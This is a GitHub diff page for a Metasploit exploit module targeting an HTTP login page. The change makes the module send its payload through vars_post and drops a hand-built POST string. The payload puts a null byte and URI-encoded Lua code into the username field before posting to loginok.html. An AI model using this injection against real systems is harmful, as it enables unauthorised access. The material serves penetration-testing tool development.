File tree Expand file tree Collapse file tree 1 file changed +6
-9
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +6
-9
lines changed Original file line number Diff line number Diff line change @@ -115,21 +115,18 @@ def exploit
115115
116116 inj = "#{ user } %00" + Rex ::Text . uri_encode ( lua ) . gsub ( '%0a' , '%0d' ) + '--'
117117
118- post_data = [
119- "username=#{ inj } " ,
120- "password=#{ pass } " ,
121- "username_val=#{ user } " ,
122- "password_val=#{ pass } "
123- ] . join ( '&' )
124-
125118 res = send_request_cgi (
126119 'method' => 'POST' ,
127120 'uri' => normalize_uri ( target_uri . path , 'loginok.html' ) ,
128121 'headers' => {
129- 'Content-Type' => 'application/x-www-form-urlencoded' ,
130122 'Referer' => normalize_uri ( target_uri . path , 'login.html' ) + '?lang=english'
131123 } ,
132- 'data' => post_data
124+ 'vars_post' => {
125+ 'username' => inj ,
126+ 'password' => pass ,
127+ 'username_val' => user ,
128+ 'password_val' => pass
129+ }
133130 )
134131 fail_with ( Failure ::UnexpectedReply , 'Injection failed' ) unless res &.code == 200
135132
You can’t perform that action at this time.
0 commit comments